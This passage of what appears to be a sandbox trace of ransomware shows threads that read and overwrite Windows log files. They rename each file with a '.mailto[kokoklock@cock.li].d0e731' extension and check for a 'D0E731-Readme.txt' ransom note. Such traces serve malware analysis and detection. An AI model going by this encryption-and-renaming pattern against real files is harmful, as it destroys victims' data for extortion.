Seed=0x2543fc08) returned 0x4216e194 [0081.024] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0xad709cfb [0081.024] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0xb5019457 [0081.024] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0x2645c523 [0081.034] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.034] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.034] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.034] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.034] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1f8 [0081.034] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1f8) returned 1 [0081.034] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.035] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.035] ReadFile (in: hFile=0x458, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x2543fbfc, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2543fbfc*=0x3000, lpOverlapped=0x0) returned 1 [0081.036] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2543fbc4 | out: lpNewFilePointer=0x0) returned 1 [0081.036] WriteFile (in: hFile=0x458, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x2543fbf8, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x2543fbf8*=0x3000, lpOverlapped=0x0) returned 1 [0081.036] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e3b0 [0081.036] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e248 [0081.036] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e248) returned 1 [0081.036] WriteFile (in: hFile=0x458, lpBuffer=0x342e3b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2543fbf4, lpOverlapped=0x0 | out: lpBuffer=0x342e3b0*, lpNumberOfBytesWritten=0x2543fbf4*=0x20, lpOverlapped=0x0) returned 1 [0081.036] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e3b0) returned 1 [0081.036] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.036] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.036] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.036] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.036] WriteFile (in: hFile=0x458, lpBuffer=0x342e568*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2543fc20, lpOverlapped=0x0 | out: lpBuffer=0x342e568*, lpNumberOfBytesWritten=0x2543fc20*=0x8, lpOverlapped=0x0) returned 1 [0081.036] WriteFile (in: hFile=0x458, lpBuffer=0x2543fc38*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2543fc20, lpOverlapped=0x0 | out: lpBuffer=0x2543fc38*, lpNumberOfBytesWritten=0x2543fc20*=0x4, lpOverlapped=0x0) returned 1 [0081.037] WriteFile (in: hFile=0x458, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2543fc20, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2543fc20*=0x4, lpOverlapped=0x0) returned 1 [0081.037] WriteFile (in: hFile=0x458, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2543fc20, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2543fc20*=0x6c, lpOverlapped=0x0) returned 1 [0081.037] WriteFile (in: hFile=0x458, lpBuffer=0x342e1a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2543fc20, lpOverlapped=0x0 | out: lpBuffer=0x342e1a8*, lpNumberOfBytesWritten=0x2543fc20*=0x20, lpOverlapped=0x0) returned 1 [0081.037] WriteFile (in: hFile=0x458, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2543fc20, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2543fc20*=0x4, lpOverlapped=0x0) returned 1 [0081.037] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.037] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e310) returned 1 [0081.037] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e568) returned 1 [0081.037] CloseHandle (hObject=0x458) returned 1 [0081.037] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3431cb8 [0081.037] wcscpy (in: _Dest=0x3431cb8, _Source="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl" [0081.037] wcscat (in: _Dest=0x3431cb8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl.mailto[kokoklock@cock.li].d0e731" [0081.037] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.017.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.017.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.038] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.038] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431cb8) returned 1 [0081.038] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl", dwFileAttributes=0x2020) returned 0 [0081.038] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480408 [0081.038] wcscpy (in: _Dest=0x3480408, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.038] wcscat (in: _Dest=0x3480408, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.038] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.039] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0081.039] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f788) returned 1 [0081.039] RtlExitUserThread (Status=0x1) Thread: id = 1039 os_tid = 0x1740 [0081.035] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.001.etl")) returned 0x2020 [0081.040] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl", dwFileAttributes=0x20) returned 1 [0081.040] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.001.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0081.040] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x254bfa30 | out: lpFileSize=0x254bfa30*=8192) returned 1 [0081.040] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.040] ReadFile (in: hFile=0x458, lpBuffer=0x254bfa04, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x254bfa00, lpOverlapped=0x0 | out: lpBuffer=0x254bfa04*, lpNumberOfBytesRead=0x254bfa00*=0x4, lpOverlapped=0x0) returned 1 [0081.042] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.042] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.042] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.042] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1d0 [0081.042] NtQuerySystemTime (in: CurrentTime=0x254bf9dc | out: CurrentTime=0x254bf9dc*=132121176389278618) returned 0x0 [0081.042] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0x4d92f59d [0081.042] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0x8e660805 [0081.042] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0xd9ef2b37 [0081.042] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0xcce70934 [0081.042] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0x2b706425 [0081.042] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0x73ba2ac6 [0081.042] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0xa00ba449 [0081.042] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0xd1b6cc90 [0081.042] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0xd318c2dd [0081.042] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0x445d662e [0081.042] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0xa5410558 [0081.042] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0x6b97edc1 [0081.042] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0xd6006622 [0081.042] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0xf66596c9 [0081.042] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0xfbdd1c69 [0081.042] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0xda5b655d [0081.042] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0x77f0addf [0081.042] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0xffd990df [0081.042] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0x9e04e870 [0081.042] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0xdb64fe70 [0081.043] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0x60975b98 [0081.043] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0xe712705c [0081.043] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0x72943de3 [0081.043] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0xb3b11fdd [0081.043] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0x8364053b [0081.043] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0xe3fe9ce0 [0081.043] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0x4e4ba009 [0081.043] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0xbfae6abf [0081.043] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0x90552ad6 [0081.043] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0xfc0029d4 [0081.043] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0x2b61b7b [0081.043] RtlRandom (in: Seed=0x254bf9e8 | out: Seed=0x254bf9e8) returned 0x76c4134e [0081.054] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.054] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.054] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.054] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.054] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1f8 [0081.054] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1f8) returned 1 [0081.054] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.054] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.054] ReadFile (in: hFile=0x458, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x254bf9dc, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x254bf9dc*=0x2000, lpOverlapped=0x0) returned 1 [0081.055] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x254bf9a4 | out: lpNewFilePointer=0x0) returned 1 [0081.055] WriteFile (in: hFile=0x458, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x254bf9d8, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x254bf9d8*=0x2000, lpOverlapped=0x0) returned 1 [0081.055] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e3b0 [0081.055] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e248 [0081.055] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e248) returned 1 [0081.055] WriteFile (in: hFile=0x458, lpBuffer=0x342e3b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x254bf9d4, lpOverlapped=0x0 | out: lpBuffer=0x342e3b0*, lpNumberOfBytesWritten=0x254bf9d4*=0x20, lpOverlapped=0x0) returned 1 [0081.055] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e3b0) returned 1 [0081.055] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.056] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.056] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.056] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.056] WriteFile (in: hFile=0x458, lpBuffer=0x342e568*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x254bfa00, lpOverlapped=0x0 | out: lpBuffer=0x342e568*, lpNumberOfBytesWritten=0x254bfa00*=0x8, lpOverlapped=0x0) returned 1 [0081.056] WriteFile (in: hFile=0x458, lpBuffer=0x254bfa18*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x254bfa00, lpOverlapped=0x0 | out: lpBuffer=0x254bfa18*, lpNumberOfBytesWritten=0x254bfa00*=0x4, lpOverlapped=0x0) returned 1 [0081.056] WriteFile (in: hFile=0x458, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x254bfa00, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x254bfa00*=0x4, lpOverlapped=0x0) returned 1 [0081.056] WriteFile (in: hFile=0x458, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x254bfa00, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x254bfa00*=0x6c, lpOverlapped=0x0) returned 1 [0081.056] WriteFile (in: hFile=0x458, lpBuffer=0x342e1a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x254bfa00, lpOverlapped=0x0 | out: lpBuffer=0x342e1a8*, lpNumberOfBytesWritten=0x254bfa00*=0x20, lpOverlapped=0x0) returned 1 [0081.056] WriteFile (in: hFile=0x458, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x254bfa00, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x254bfa00*=0x4, lpOverlapped=0x0) returned 1 [0081.056] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.056] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e310) returned 1 [0081.056] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e568) returned 1 [0081.056] CloseHandle (hObject=0x458) returned 1 [0081.057] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0081.057] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl" [0081.057] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl.mailto[kokoklock@cock.li].d0e731" [0081.057] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.001.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.001.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.057] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.058] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0081.058] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl", dwFileAttributes=0x2020) returned 0 [0081.058] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480408 [0081.058] wcscpy (in: _Dest=0x3480408, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.058] wcscat (in: _Dest=0x3480408, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.058] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.058] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0081.058] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c160) returned 1 [0081.058] RtlExitUserThread (Status=0x1) Thread: id = 1040 os_tid = 0x1744 [0081.059] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.002.etl")) returned 0x2020 [0081.060] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl", dwFileAttributes=0x20) returned 1 [0081.060] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.002.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0081.060] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2553fde0 | out: lpFileSize=0x2553fde0*=8192) returned 1 [0081.060] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.060] ReadFile (in: hFile=0x458, lpBuffer=0x2553fdb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2553fdb0, lpOverlapped=0x0 | out: lpBuffer=0x2553fdb4*, lpNumberOfBytesRead=0x2553fdb0*=0x4, lpOverlapped=0x0) returned 1 [0081.062] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.062] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.062] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.062] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1f8 [0081.062] NtQuerySystemTime (in: CurrentTime=0x2553fd8c | out: CurrentTime=0x2553fd8c*=132121176389591452) returned 0x0 [0081.062] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0x18e44093 [0081.062] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0xff0e8579 [0081.062] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0xd1e270cc [0081.062] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0x44ecc470 [0081.062] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0xf052a25 [0081.062] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0x66bce483 [0081.062] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0xb7a6a814 [0081.062] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0x868aa8a1 [0081.062] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0x5d31c4b1 [0081.062] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0x6bd2186f [0081.062] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0x47119565 [0081.062] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0x59903440 [0081.062] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0x3349c404 [0081.063] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0x2fb54dd [0081.063] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0x69226e9b [0081.063] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0x8613f0ae [0081.063] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0x507c24b7 [0081.063] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0x2512b36b [0081.063] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0x6550bc90 [0081.063] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0x53f74707 [0081.063] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0x69fc846 [0081.063] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0x4f8338e5 [0081.063] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0x424cd788 [0081.063] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0xf111868b [0081.063] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0x691f286d [0081.063] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0x53b1eda7 [0081.063] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0x3b319faa [0081.063] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0x2ac78a6 [0081.063] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0x746f2e71 [0081.063] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0xcae52ee9 [0081.063] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0x6fb49b49 [0081.063] RtlRandom (in: Seed=0x2553fd98 | out: Seed=0x2553fd98) returned 0xa48f3848 [0081.074] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.074] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.074] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.074] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.074] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e248 [0081.074] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e248) returned 1 [0081.074] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.074] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.074] ReadFile (in: hFile=0x458, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2553fd8c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2553fd8c*=0x2000, lpOverlapped=0x0) returned 1 [0081.078] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2553fd54 | out: lpNewFilePointer=0x0) returned 1 [0081.078] WriteFile (in: hFile=0x458, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2553fd88, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x2553fd88*=0x2000, lpOverlapped=0x0) returned 1 [0081.079] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e3b0 [0081.079] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e248 [0081.079] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e248) returned 1 [0081.079] WriteFile (in: hFile=0x458, lpBuffer=0x342e3b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2553fd84, lpOverlapped=0x0 | out: lpBuffer=0x342e3b0*, lpNumberOfBytesWritten=0x2553fd84*=0x20, lpOverlapped=0x0) returned 1 [0081.079] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e3b0) returned 1 [0081.079] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 